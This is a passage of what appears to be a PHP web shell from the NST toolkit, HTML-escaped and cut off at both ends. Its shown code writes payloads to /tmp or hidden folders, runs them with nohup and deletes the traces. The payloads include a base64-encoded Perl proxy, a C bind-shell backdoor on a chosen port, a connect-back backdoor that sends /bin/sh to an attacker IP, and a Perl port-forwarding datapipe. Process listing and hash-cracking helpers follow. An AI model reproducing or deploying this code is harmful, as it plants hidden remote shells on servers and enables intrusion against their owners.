gLS0tIERvbmUgc2VuZGluZy4gUmVzcG9uc2U6IFxuXG4iOw0KICAgICRoZWFkZXIgPSAxOw0KICAgICR0ZXh0ID0gMDsNCiAgICB3aGlsZSAoPFVSTD4pIHsNCglwcmludCBDSElMRCAkXzsNCglpZiAoJGhlYWRlciB8fCAkdGV4dCkgewkgICAgICMgT25seSBwcmludCBoZWFkZXIgJiB0ZXh0IGxpbmVzIHRvIFNURE9VVA0KCSAgICBwcmludCAkXzsNCgkgICAgaWYgKCRoZWFkZXIgJiYgJF8gPX4gL15bXHNceDAwXSokLykgew0KCQkkaGVhZGVyID0gMDsNCgkgICAgfQ0KIwkgICAgaWYgKCRoZWFkZXIgJiYgJF8gPX4gL15Db250ZW50LXR5cGU6IHRleHQvKSB7DQojCQkkdGV4dCA9IDE7DQojCSAgICB9DQoJfQ0KICAgIH0NCiAgICBjbG9zZShVUkwpOw0KICAgIGNsb3NlKENISUxEKTsNCiAgICBleGl0OwkJCSMgRXhpdCBmcm9tIGNoaWxkIHByb2Nlc3MNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0JYW5hbHl6ZV9yZXF1ZXN0CQkJCQkJCS0tDQojLS0JCQkJCQkJCQktLQ0KIy0tCUFuYWx5emUgYSBuZXcgcmVxdWVzdC4gIEZpcnN0IHJlYWQgaW4gZmlyc3QgbGluZSBvZiByZXF1ZXN0LgktLQ0KIy0tCVJlYWQgVVJMIGZyb20gaXQsIHByb2Nlc3MgVVJMIGFuZCBvcGVuIGNvbm5lY3Rpb24uCQktLQ0KIy0tCVJldHVybiBhbiBlZGl0ZWQgdmVyc2lvbiBvZiB0aGUgZmlyc3QgbGluZSBhbmQgdGhlIHJlcXVlc3QJLS0NCiMtLQltZXRob2QuCQkJCQkJCQktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBhbmFseXplX3JlcXVlc3Qgew0KIy0tLSAgUmVhZCBmaXJzdCBsaW5lIG9mIEhUVFAgcmVxdWVzdA0KICAgICRmaXJzdCA9IDxDSElMRD47DQoNCiAgICAkdXJsID0gKCRmaXJzdCA9fiBtfChodHRwOi8vXFMrKXwpWzBdOw0KICAgIHByaW50ICJSZXF1ZXN0IGZvciBVUkw6ICAkdXJsIFxuIjsNCg0KIy0tLSAgQ2hlY2sgaWYgZmlyc3QgbGluZSBpcyBvZiB0aGUgZm9ybSBHRVQgaHR0cDovL2hvc3QtbmFtZSAuLi4NCiAgICAoJG1ldGhvZCwgJHJlbW90ZV9ob3N0LCAkcmVtb3RlX3BvcnQpID0gDQoJKCRmaXJzdCA9fiBtIShHRVR8UE9TVHxIRUFEKSBodHRwOi8vKFteLzpdKyk6PyhcZCopISApOw0KIy0tLSAgSWYgbm90LCBiYWQgcmVxdWVzdC4NCiAgICANCiAgICBpZiAoISRyZW1vdGVfaG9zdCkgew0KCXByaW50ICRmaXJzdDsNCgl3aGlsZSAoPENISUxEPikgew0KCSAgICBwcmludCAkXzsNCgkgICAgbGFzdCBpZiAoJF8gPX4gL15bXHNceDAwXSokLyk7DQoJfQ0KCXByaW50ICJJbnZhbGlkIEhUVFAgcmVxdWVzdCBmcm9tICIsIGpvaW4oIi4iLCBAaW5ldGFkZHIpLCAiXG4iOw0KIwlwcmludCBDSElMRCAiQ29udGVudC10eXBlOiB0ZXh0L3BsYWluIiwiXG5cbiI7DQoJcHJpbnQgQ0hJTEQgIkkgZG9uJ3QgdW5kZXJzdGFuZCB5b3VyIHJlcXVlc3QuXG4iOw0KCWNsb3NlKENISUxEKTsNCglleGl0Ow0KICAgIH0NCiMtLS0gIElmIHJlcXVlc3RlZCBVUkwgaXMgdGhlIHByb3h5IHNlcnZlciB0aGVuIGlnbm9yZSByZXF1ZXN0DQogICAgJHJlbW90ZV9pcCA9IChnZXRob3N0YnluYW1lKCRyZW1vdGVfaG9zdCkpWzRdOw0KICAgIGlmICgoJHJlbW90ZV9pcCBlcSAkbG9jYWxfaG9zdF9pcCkgJiYgKCRyZW1vdGVfcG9ydCBlcSAkcHJveHlfcG9ydCkpIHsNCglwcmludCAkZmlyc3Q7DQoJd2hpbGUgKDxDSElMRD4pIHsNCgkgICAgcHJpbnQgJF87DQoJICAgIGxhc3QgaWYgKCRfID1+IC9eW1xzXHgwMF0qJC8pOw0KCX0NCglwcmludCAiIC0tLSBDb25uZWN0aW9uIHRvIHByb3h5IHNlcnZlciBpZ25vcmVkLlxuIjsNCiMJcHJpbnQgQ0hJTEQgIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIsIlxuXG4iOw0KCXByaW50IENISUxEICJJdCdzIG5vdCBuaWNlIHRvIG1ha2UgbWUgbG9vcCBvbiBteXNlbGYhLlxuIjsNCgljbG9zZShDSElMRCk7DQoJZXhpdDsNCiAgICB9DQojLS0tICBTZXR1cCBjb25uZWN0aW9uIHRvIHRhcmdldCBob3N0IGFuZCBzZW5kIHJlcXVlc3QNCiAgICAkcmVtb3RlX3BvcnQgPSAiaHR0cCIgdW5sZXNzICgkcmVtb3RlX3BvcnQpOw0KICAgICZvcGVuX2Nvbm5lY3Rpb24oVVJMLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7DQojLS0tICBSZW1vdmUgcmVtb3RlIGhvc3RuYW1lIGZyb20gVVJMDQogICAgICAgICRmaXJzdCA9fiBzL2h0dHA6XC9cL1teXC9dKy8vOw0KICAgICgkZmlyc3QsICRtZXRob2QpOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLQlsaXN0ZW5fdG9fcG9ydChTT0NLRVQsICRwb3J0KQkJCQkJLS0NCiMtLQkJCQkJCQkJCS0tDQojLS0JQ3JlYXRlIGEgc29ja2V0IHRoYXQgbGlzdGVucyB0byBhIHNwZWNpZmljIHBvcnQJCQktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBsaXN0ZW5fdG9fcG9ydCB7DQogICAgbG9jYWwgKCRwb3J0KSA9ICRfWzFdOw0KICAgIGxvY2FsICgkc29ja2V0X2Zvcm1hdCwgJHByb3RvLCAkcGFja2VkX3BvcnQsICRjdXIsICRtYXhfcmVxdWVzdHMpOw0KICAgICRtYXhfcmVxdWVzdHMgPSAzOwkJIyBNYXggbnVtYmVyIG9mIG91dHN0YW5kaW5nIHJlcXVlc3RzDQogICAgJHNvY2tldF9mb3JtYXQgPSAnUyBuIGE0IHg4JzsNCiAgICAkcHJvdG8gPSAoZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKVsyXTsNCiAgICAkcGFja2VkX3BvcnQgPSBwYWNrKCRzb2NrZXRfZm9ybWF0LCAmQUZfSU5FVCwgJHBvcnQsICJcMFwwXDBcMCIpOw0KICAgIHNvY2tldCgkX1swXSwgJlBGX0lORVQsICZTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUgInNvY2tldDogJCEiOw0KICAgIGJpbmQoJF9bMF0sICRwYWNrZWRfcG9ydCkgfHwgZGllICJiaW5kOiAkISI7DQogICAgbGlzdGVuKCRfWzBdLCAkbWF4X3JlcXVlc3RzKSB8fCBkaWUgImxpc3RlbjogJCEiOw0KICAgICRjdXIgPSBzZWxlY3QoJF9bMF0pOyAgDQogICAgJHwgPSAxOwkJCQkjIERpc2FibGUgYnVmZmVyaW5nIG9uIHNvY2tldC4NCiAgICBzZWxlY3QoJGN1cik7DQogICAgfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIy0tCW9wZW5fY29ubmVjdGlvbihTT0NLRVQsICRyZW1vdGVfaG9zdG5hbWUsICRwb3J0KQkJLS0NCiMtLQkJCQkJCQkJCS0tDQojLS0JQ3JlYXRlIGEgc29ja2V0IHRoYXQgY29ubmVjdHMgdG8gYSBjZXJ0YWluIGhvc3QJCQktLQ0KIy0tCSRsb2NhbF9ob3N0X2lwIGlzIGFzc3VtZWQgdG8gYmUgbG9jYWwgaG9zdG5hbWUgSVAgYWRkcmVzcwktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBvcGVuX2Nvbm5lY3Rpb24gew0KICAgIGxvY2FsICgkcmVtb3RlX2hvc3RuYW1lLCAkcG9ydCkgPSBAX1sxLDJdOw0KICAgIGxvY2FsICgkc29ja2V0X2Zvcm1hdCwgJHByb3RvLCAkcGFja2VkX3BvcnQsICRjdXIpOw0KICAgIGxvY2FsICgkcmVtb3RlX2FkZHIsIEByZW1vdGVfaXAsICRyZW1vdGVfaXApOw0KICAgIGxvY2FsICgkbG9jYWxfcG9ydCwgJHJlbW90ZV9wb3J0KTsNCiAgICBpZiAoJHBvcnQgIX4gL15cZCskLykgew0KCSRwb3J0ID0gKGdldHNlcnZieW5hbWUoJHBvcnQsICJ0Y3AiKSlbMl07DQoJJHBvcnQgPSA2NjY3IHVubGVzcyAoJHBvcnQpOw0KICAgIH0NCiAgICAkcHJvdG8gPSAoZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKVsyXTsNCiAgICAkcmVtb3RlX2FkZHIgPSAoZ2V0aG9zdGJ5bmFtZSgkcmVtb3RlX2hvc3RuYW1lKSlbNF07DQogICAgaWYgKCEkcmVtb3RlX2FkZHIpIHsNCglkaWUgIlVua25vd24gaG9zdDogJHJlbW90ZV9ob3N0bmFtZSI7DQogICAgfQ0KDQogICAgQHJlbW90ZV9pcCA9IHVucGFjaygiQzQiLCAkcmVtb3RlX2FkZHIpOw0KICAgICRyZW1vdGVfaXAgPSBqb2luKCIuIiwgQHJlbW90ZV9pcCk7DQogICAgcHJpbnQgIkNvbm5lY3RpbmcgdG8gJHJlbW90ZV9pcCBwb3J0ICRwb3J0LlxuXG4iOw0KICAgICRzb2NrZXRfZm9ybWF0ID0gJ1MgbiBhNCB4OCc7DQogICAgJGxvY2FsX3BvcnQgID0gcGFjaygkc29ja2V0X2Zvcm1hdCwgJkFGX0lORVQsIDAsICRsb2NhbF9ob3N0X2lwKTsNCiAgICAkcmVtb3RlX3BvcnQgPSBwYWNrKCRzb2NrZXRfZm9ybWF0LCAmQUZfSU5FVCwgJHBvcnQsICRyZW1vdGVfYWRkcik7DQogICAgc29ja2V0KCRfWzBdLCAmQUZfSU5FVCwgJlNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAic29ja2V0OiAkISI7DQogICAgYmluZCgkX1swXSwgJGxvY2FsX3BvcnQpIHx8IGRpZSAiYmluZDogJCEiOw0KICAgIGNvbm5lY3QoJF9bMF0sICRyZW1vdGVfcG9ydCkgfHwgZGllICJzb2NrZXQ6ICQhIjsNCiAgICAkY3VyID0gc2VsZWN0KCRfWzBdKTsgIA0KDQogICAgJHwgPSAxOwkJCQkjIERpc2FibGUgYnVmZmVyaW5nIG9uIHNvY2tldC4NCiAgICBzZWxlY3QoJGN1cik7DQp9DQoNCg==\&quot;;\r\n\r\nif(is_writable(\&quot;/tmp\&quot;)){\r\n$fp=fopen(\&quot;/tmp/nst_perl_proxy.pl\&quot;,\&quot;w\&quot;);\r\nfwrite($fp,base64_decode($perl_proxy_scp));\r\npassthru(\&quot;nohup perl /tmp/nst_perl_proxy.pl $port &amp;\&quot;);\r\nunlink(\&quot;/tmp/nst_perl_proxy.pl\&quot;);\r\n}else{\r\nif(is_writable(\&quot;.\&quot;)){\r\nmkdir(\&quot;.nst_proxy_tmp\&quot;);\r\n$fp=fopen(\&quot;.nst_proxy_tmp/nst_perl_proxy.pl\&quot;,\&quot;w\&quot;);\r\nfwrite($fp,base64_decode($perl_proxy_scp));\r\npassthru(\&quot;nohup perl .nst_proxy_tmp/nst_perl_proxy.pl $port &amp;\&quot;);\r\nunlink(\&quot;.nst_proxy_tmp/nst_perl_proxy.pl\&quot;);\r\nrmdir(\&quot;.nst_proxy_tmp\&quot;);\r\n}\r\n}\r\n$show_ps=\&quot;1\&quot;;\r\n}#end of start perl_proxy\r\n\r\nif($_POST['c_bd']){\r\n$port=$_POST['port'];\r\n$c_bd_scp = \&quot;#define PORT $port\r\n#include &lt;stdio.h&gt;\r\n#include &lt;signal.h&gt;\r\n#include &lt;sys/types.h&gt;\r\n#include &lt;sys/socket.h&gt;\r\n#include &lt;netinet/in.h&gt;\r\n\r\nint soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;\r\nstruct sockaddr_in serv_addr;\r\nstruct sockaddr_in client_addr;\r\n\r\nint main ()\r\n{\r\n    soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\r\n    if (soc_des == -1)\r\n        exit(-1);\r\n    bzero((char *) &amp;serv_addr, sizeof(serv_addr));\r\n    serv_addr.sin_family = AF_INET;\r\n    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);\r\n    serv_addr.sin_port = htons(PORT);\r\n    soc_rc = bind(soc_des, (struct sockaddr *) &amp;serv_addr, sizeof(serv_addr));\r\n    if (soc_rc != 0)\r\n        exit(-1);\r\n    if (fork() != 0)\r\n        exit(0);\r\n    setpgrp();\r\n    signal(SIGHUP, SIG_IGN);\r\n    if (fork() != 0)\r\n        exit(0);\r\n    soc_rc = listen(soc_des, 5);\r\n    if (soc_rc != 0)\r\n        exit(0);\r\n    while (1) {\r\n        soc_len = sizeof(client_addr);\r\n        soc_cli = accept(soc_des, (struct sockaddr *) &amp;client_addr, &amp;soc_len);\r\n        if (soc_cli &lt; 0)\r\n            exit(0);\r\n        cli_pid = getpid();\r\n        server_pid = fork();\r\n        if (server_pid != 0) {\r\n            dup2(soc_cli,0);\r\n            dup2(soc_cli,1);\r\n            dup2(soc_cli,2);\r\n            execl(\\&quot;/bin/sh\\&quot;,\\&quot;sh\\&quot;,(char *)0);\r\n            close(soc_cli);\r\n            exit(0);\r\n        }\r\n    close(soc_cli);\r\n    }\r\n}\r\n\r\n\&quot;;\r\n\r\n\r\nif(is_writable(\&quot;/tmp\&quot;)){\r\n$fp=fopen(\&quot;/tmp/nst_c_bd.c\&quot;,\&quot;w\&quot;);\r\nfwrite($fp,\&quot;$c_bd_scp\&quot;);\r\npassthru(\&quot;gcc /tmp/nst_c_bd.c -o /tmp/nst_bd\&quot;);\r\npassthru(\&quot;nohup /tmp/nst_bd &amp;\&quot;);\r\nunlink(\&quot;/tmp/nst_c_bd.c\&quot;);\r\nunlink(\&quot;/tmp/nst_bd\&quot;);\r\n}else{\r\nif(is_writable(\&quot;.\&quot;)){\r\nmkdir(\&quot;.nst_bd_tmp\&quot;);\r\n$fp=fopen(\&quot;.nst_bd_tmp/nst_c_bd.c\&quot;,\&quot;w\&quot;);\r\nfwrite($fp,\&quot;$c_bd_scp\&quot;);\r\npassthru(\&quot;gcc .nst_bd_tmp/nst_c_bd.c -o .nst_bd_tmp/nst_bd\&quot;);\r\npassthru(\&quot;nohup .nst_bd_tmp/nst_bd &amp;\&quot;);\r\nunlink(\&quot;.nst_bd_tmp/nst_bd\&quot;);\r\nunlink(\&quot;.nst_bd_tmp/nst_c_bd.c\&quot;);\r\nrmdir(\&quot;.nst_bd_tmp\&quot;);\r\n}\r\n}\r\n$show_ps=\&quot;1\&quot;;\r\n}#end of c bd\r\n\r\n\r\nif($_POST['bc_c']){ # nc -l -p 4500\r\n$port_c = $_POST['port_c'];\r\n$ip=$_POST['ip'];\r\n$bc_c_scp = \&quot;#include &lt;stdio.h&gt;\r\n#include &lt;sys/types.h&gt;\r\n#include &lt;sys/socket.h&gt;\r\n#include &lt;unistd.h&gt;\r\n#include &lt;fcntl.h&gt;\r\n\r\n#include &lt;netinet/in.h&gt;\r\n#include &lt;netdb.h&gt;\r\n\r\nint fd, sock;\r\nint port = $port_c;\r\nstruct sockaddr_in addr;\r\n\r\nchar mesg[]  = \\&quot;::Connect-Back Backdoor:: CMD: \\&quot;;\r\nchar shell[] = \\&quot;/bin/sh\\&quot;;\r\n\r\nint main(int argc, char *argv[]) {\r\n        while(argc&lt;2) {\r\n        fprintf(stderr, \\&quot; %s &lt;ip&gt; \\&quot;, argv[0]);\r\n        exit(0); }\r\n\r\naddr.sin_family = AF_INET;\r\naddr.sin_port = htons(port);\r\naddr.sin_addr.s_addr = inet_addr(argv[1]);\r\nfd = socket(AF_INET, SOCK_STREAM, 0);\r\nconnect(fd, (struct sockaddr*)&amp;addr, sizeof(addr));\r\n\r\nsend(fd, mesg, sizeof(mesg), 0);\r\n\r\ndup2(fd, 0);\r\ndup2(fd, 1);\r\ndup2(fd, 2);\r\nexecl(shell, \\&quot;in.telnetd\\&quot;, 0);\r\n\r\nclose(fd);\r\nreturn 1;\r\n}\r\n\r\n\&quot;;\r\n\r\nif(is_writable(\&quot;/tmp\&quot;)){\r\nif(file_exists(\&quot;/tmp/nst_c_bc_c.c\&quot;)){unlink(\&quot;/tmp/nst_c_bc_c.c\&quot;);}\r\nif(file_exists(\&quot;/tmp/nst_c_bc_c.c\&quot;)){unlink(\&quot;/tmp/nst_c_bc\&quot;);}\r\n$fp=fopen(\&quot;/tmp/nst_c_bc_c.c\&quot;,\&quot;w\&quot;);\r\n$bd_c_scp=str_replace(\&quot;!n\&quot;,\&quot;\n\&quot;,$bd_c_scp);\r\nfwrite($fp,\&quot;$bc_c_scp\&quot;);\r\npassthru(\&quot;gcc /tmp/nst_c_bc_c.c -o /tmp/nst_bc_c\&quot;);\r\npassthru(\&quot;nohup /tmp/nst_bc_c $ip &amp;\&quot;);\r\nunlink(\&quot;/tmp/nst_bc_c\&quot;);\r\nunlink(\&quot;/tmp/nst_bc_c.c\&quot;);\r\n}else{\r\nif(is_writable(\&quot;.\&quot;)){\r\nmkdir(\&quot;.nst_bc_c_tmp\&quot;);\r\n$fp=fopen(\&quot;.nst_bc_c_tmp/nst_c_bc_c.c\&quot;,\&quot;w\&quot;);\r\n$bd_c_scp=str_replace(\&quot;!n\&quot;,\&quot;\n\&quot;,$bd_c_scp);\r\nfwrite($fp,\&quot;$bc_c_scp\&quot;);\r\npassthru(\&quot;gcc .nst_bc_c_tmp/nst_c_bc_c.c -o .nst_bc_c_tmp/nst_bc_c\&quot;);\r\npassthru(\&quot;nohup .nst_bc_c_tmp/nst_bc_c $ip &amp;\&quot;);\r\nunlink(\&quot;.nst_bc_c_tmp/nst_bc_c.c\&quot;);\r\nunlink(\&quot;.nst_bc_c_tmp/nst_bc_c\&quot;);\r\nrmdir(\&quot;.nst_bc_c_tmp\&quot;);\r\n}\r\n}\r\n$show_ps=\&quot;1\&quot;;\r\n\r\n}#end of back connect C\r\n\r\n\r\nif($_POST['datapipe_pl']){\r\n$port_2=$_POST['port_2'];\r\n$port_3=$_POST['port_3'];\r\n$ip=$_POST['ip'];\r\n$datapipe_pl = \&quot;\r\n#!/usr/bin/perl\r\n# coded by CuTTer (rus hacker)\r\nuse IO::Socket;\r\nuse POSIX;\r\n\r\n\$localport=$port_2;\r\n\$host=\\&quot;$ip\\&quot;;\r\n\$port=$port_3;\r\n\r\n\$daemon=1;\r\n\r\n\$DIR = undef;\r\n\r\n## آûâîنèٍü ëîم ٌîلûٍèé (1-نà, 0-يهٍ)\r\n\$log=0;\r\n\r\n\r\n\r\n\r\n\$| = 1;\r\n\r\nif (\$daemon){\r\n        print \\&quot;3anycKaeM daemon\n\\&quot;;\r\n\r\n        \$pid = fork;\r\n        exit if \$pid;\r\n        die \\&quot;Couldn't fork: \$!\\&quot; unless defined(\$pid);\r\n        POSIX::setsid() or die \\&quot;Can't start a new session: \$!\\&quot;;\r\n}\r\n\r\n%o = ('port' =&gt; \$localport,\r\n          'toport' =&gt; \$port,\r\n          'tohost' =&gt; \$host);\r\n\r\n\$ah = IO::Socket::INET-&gt;new(\r\n                         'LocalPort' =&gt; \$localport,\r\n                         'Reuse' =&gt; 1,\r\n                         'Listen' =&gt; 10)\r\n    || die \\&quot;حهëüçے îٍêًûٍü ٌîêهٍ نëے ٌîهنèيهيèé: \$!\\&quot;;\r\n\r\nprint \\&quot;حà÷èيàهى âûïîëيهيèے ِèêëà.\n\\&quot; if \$log;\r\n\$SIG{'CHLD'} = 'IGNORE';\r\n\$num = 0;\r\nwhile (1) {\r\n        \$ch = \$ah-&gt;accept();\r\n        if (!\$ch) {\r\n                print STDERR \\&quot;دًهًâàيî âûïîëهيèه accept: \$!\n\\&quot;;\r\n                next;\r\n        }\r\n\r\n        printf(\\&quot;حîâûé êëèهيٍ: host %s, port %s.\n\\&quot;,\r\n        \$ch-&gt;peerhost(), \$ch-&gt;peerport()) if \$log;\r\n        ++\$num;\r\n        \$pid = fork();\r\n        if (!defined(\$pid)) {\r\n                print STDERR \\&quot;حهâîçىîويî âûïîëيèٍü fork: \$!\n\\&quot;;\r\n    } elsif (\$pid == 0) {\r\n## حîâûé ïًîِهٌٌ\r\n                \$ah-&gt;close();\r\n                Run(\%o, \$ch, \$num);\r\n        } else {\r\n                print \\&quot;Parent: Fork ïًîّهë ٌَïهّيî, çàêًûâàهى ٌîêهٍ.\n\\&quot; if \$log;\r\n                \$ch-&gt;close();\r\n        }\r\n}\r\n\r\n\r\nsub Run {\r\n        my(\$o, \$ch, \$num) = @_;\r\n        my \$th = IO::Socket::INET-&gt;new('PeerAddr' =&gt; \$o-&gt;{'tohost'},\r\n                                                        'PeerPort' =&gt; \$o-&gt;{'toport'});\r\n        print(\\&quot;Child: ؤهëàهى ًهنèًهêٍ يà \$o-&gt;{'tohost'}, ïîًٍ \$o-&gt;{'toport'}.\n\\&quot;) if \$log;\r\n        if (!\$th) {\r\n                printf STDERR (\\&quot;Child: دًهًâàي ًهنèًهêٍ يà %s, ïîًٍ %s.\n\\&quot;,\r\n                \$o-&gt;{'tohost'}, \$o-&gt;{'toport'});\r\n                exit 0;\r\n        }\r\n\r\n        my \$fh;\r\n        if (\$o-&gt;{'dir'}) {\r\n                \$fh = Symbol::gensym();\r\n                open(\$fh, \\&quot;&gt;\$o-&gt;{'dir'}/tunnel\$num.log\\&quot;)\r\n                or die \\&quot;Child: دًهًâàيî ٌîçنàيèه ëîم ôàéëà \$o-&gt;{'dir'}/tunnel\$num.log: \$!\\&quot;;\r\n        }\r\n\r\n        \$ch-&gt;autoflush();\r\n        \$th-&gt;autoflush();\r\n        while (\$ch || \$th) {\r\n                print \\&quot;Child: آêë‏÷àهى ِèêë.\n\\&quot; if \$log;\r\n                my \$rin = \\&quot;\\&quot;;\r\n                vec(\$rin, fileno(\$ch), 1) = 1 if \$ch;\r\n                vec(\$rin, fileno(\$th), 1) = 1 if \$th;\r\n                my(\$rout, \$eout);\r\n                select(\$rout = \$rin, undef, \$eout = \$rin, 120);\r\n                if (!\$rout  &amp;&amp;  !\$eout) {\r\n                        print STDERR \\&quot;Child: خّèلêà Timeout.\n\\&quot;;\r\n                }\r\n                my \$cbuffer = \\&quot;\\&quot;;\r\n                my \$tbuffer = \\&quot;\\&quot;;\r\n\r\n                if (\$ch &amp;&amp; (vec(\$eout, fileno(\$ch), 1) || vec(\$rout, fileno(\$ch), 1))) {\r\n                        print \\&quot;Child: ئنهى نàييûُ îٍ êëèهيٍà.\n\\&quot; if \$log;\r\n                        my \$result = sysread(\$ch, \$tbuffer, 1024);\r\n                        if (!defined(\$result)) {\r\n                                print STDERR \\&quot;Child: خّèلêà ïًè ٌ÷èٍûâàيèè نàييûُ êëèهيٍà: \$!\n\\&quot;;\r\n                                exit 0;\r\n                        }\r\n                        if (\$result == 0) {\r\n                                print \\&quot;Child: تëèهيٍ îٌٍîهنèيèëٌے.\n\\&quot; if \$log;\r\n                                exit 0;\r\n                        }\r\n\r\n                        print \\&quot;Child: ؤàييûه: \$cbuffer\n\\&quot; if \$log;\r\n                }\r\n\r\n                if (\$th  &amp;&amp;  (vec(\$eout, fileno(\$th), 1)  || vec(\$rout, fileno(\$th), 1))) {\r\n                        print \\&quot;Child: ئنهى نàييûُ.\n\\&quot; if \$log;\r\n                        my \$result = sysread(\$th, \$cbuffer, 1024);\r\n                        if (!defined(\$result)) {\r\n                                print STDERR \\&quot;Child: حهâîçىîويî ٌ÷èٍàٍü نàييûه: \$!\n\\&quot;;\r\n                                exit 0;\r\n                        }\r\n\r\n                        if (\$result == 0) {\r\n                                print \\&quot;Child: دًîèçîّëî îٌٍîهنèيهيèه.\n\\&quot; if \$log;\r\n                                exit 0;\r\n                        }\r\n\r\n                        print \\&quot;Child: ؤàييûه: \$cbuffer\n\\&quot; if \$log;\r\n            }\r\n\r\n                if (\$fh  &amp;&amp;  \$tbuffer) {\r\n                        (print \$fh \$tbuffer);\r\n                }\r\n\r\n                while (my \$len = length(\$tbuffer)) {\r\n                        print \\&quot;Child: خٍïًàâëےهى \$len لàéٍ.\n\\&quot; if \$log;\r\n                        my \$res = syswrite(\$th, \$tbuffer, \$len);\r\n                        print \\&quot;Child: ؤàييûه îٍïًàâëهيû.\n\\&quot; if \$log;\r\n                        if (\$res &gt; 0) {\r\n                                \$tbuffer = substr(\$tbuffer, \$res);\r\n                        } else {\r\n                                print STDERR \\&quot;Child: حهâîçىîويî îٍïًàâèٍü نàييûه: \$!\n\\&quot;;\r\n                        }\r\n                }\r\n\r\n                while (my \$len = length(\$cbuffer)) {\r\n                        print \\&quot;Child: خٍïًàâëےهى \$len لàéٍ êëèهيٍَ.\n\\&quot; if \$log;\r\n                        my \$res = syswrite(\$ch, \$cbuffer, \$len);\r\n                        print \\&quot;Child: ؤàييûه îٍïًàâëهيû..\n\\&quot; if \$log;\r\n                        if (\$res &gt; 0) {\r\n                                \$cbuffer = substr(\$cbuffer, \$res);\r\n                        } else {\r\n                                print STDERR \\&quot;Child: حهâîçىîويî îٍïًàâèٍü نàييûه: \$!\n\\&quot;;\r\n                        }\r\n                }\r\n        }\r\n}\r\n\r\n\&quot;;\r\n\r\nif(is_writable(\&quot;/tmp\&quot;)){\r\n$fp=fopen(\&quot;/tmp/nst_perl_datapipe.pl\&quot;,\&quot;w\&quot;);\r\nfwrite($fp,\&quot;$datapipe_pl\&quot;);\r\npassthru(\&quot;nohup perl /tmp/nst_perl_datapipe.pl &amp;\&quot;);\r\nunlink(\&quot;/tmp/nst_perl_datapipe.pl\&quot;);\r\n}else{\r\nif(is_writable(\&quot;.\&quot;)){\r\nmkdir(\&quot;.nst_datapipe_tmp\&quot;);\r\n$fp=fopen(\&quot;.nst_datapipe_tmp/nst_perl_datapipe.pl\&quot;,\&quot;w\&quot;);\r\nfwrite($fp,\&quot;$datapipe_pl\&quot;);\r\npassthru(\&quot;nohup perl .nst_datapipe_tmp/nst_perl_datapipe.pl &amp;\&quot;);\r\nunlink(\&quot;.nst_datapipe_tmp/nst_perl_datapipe.pl\&quot;);\r\nrmdir(\&quot;.nst_datapipe_tmp\&quot;);\r\n}\r\n}\r\n$show_ps=\&quot;1\&quot;;\r\n\r\n}#end of datapipe perl\r\n\r\n\r\n\r\n\r\n\r\nif($show_ps==\&quot;1\&quot;){\r\nprint \&quot;&lt;center&gt;&lt;b&gt;[ps ux]&lt;/b&gt;&lt;/center&gt;&lt;br&gt;&lt;br&gt;\&quot;;\r\nprint \&quot;&lt;pre&gt;\&quot;;\r\npassthru(\&quot;ps ux\&quot;);\r\nprint \&quot;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;\&quot;;\r\n}\r\n\r\n\r\n\r\necho \&quot;&lt;form method=post&gt;&lt;b&gt;md5:&lt;/b&gt;&lt;br&gt;&lt;input name=md5 size=30&gt;\r\n&lt;Br&gt;\r\nmd5 online encoder/decoder (brutforce) (php) - [&lt;a href=http://nst.void.ru/?q=releases&amp;download=4&gt;DOWNLOAD&lt;/a&gt;]\r\n&lt;/form&gt;\r\n\&quot;;\r\n@$md5=@$_POST['md5'];\r\nif(@$_POST['md5']){ echo \&quot;md5:&lt;br&gt;&lt;textarea rows=1 cols=113&gt;\&quot;.md5($md5).\&quot;&lt;/textarea&gt;\&quot;;}\r\necho \&quot;&lt;br&gt;\r\n&lt;form method=post&gt;&lt;b&gt;base64 e/d:&lt;/b&gt;&lt;br&gt;&lt;input name=base64 size=30&gt;&lt;/form&gt;&lt;br&gt;\&quot;;\r\nif(@$_POST['base64']){\r\n@$base64=$_POST['base64'];\r\necho \&quot;\r\n&lt;b&gt;Encode: &lt;br&gt;&lt;textarea rows=15 cols=113&gt;\&quot;.base64_encode($base64).\&quot;&lt;/textarea&gt;&lt;br&gt;\r\nDecode:&lt;/b&gt; &lt;br&gt;&lt;textarea rows=15 cols=113&gt;\&quot;.base64_decode($base64).\&quot;&lt;/textarea&gt;&lt;br&gt;\&quot;;}\r\necho \&quot;&lt;br&gt;\r\n&lt;form method=post&gt;&lt;b&gt;DES:&lt;/b&gt;&lt;br&gt;&lt;input name=des size=30&gt;&lt;br&gt;\r\nJohn The Ripper [&lt;a href=http://www.openwall.com/john/ target=_blank&gt;Web&lt;/a&gt;]&lt;/form&gt;&lt;br&gt;\&quot;;\r\nif(@$_POST['des']){\r\n@$des=@$_POST['des'];\r\necho \&quot;&lt;b&gt;Des:&lt;/b&gt; &lt;br&gt;&lt;textarea rows=15 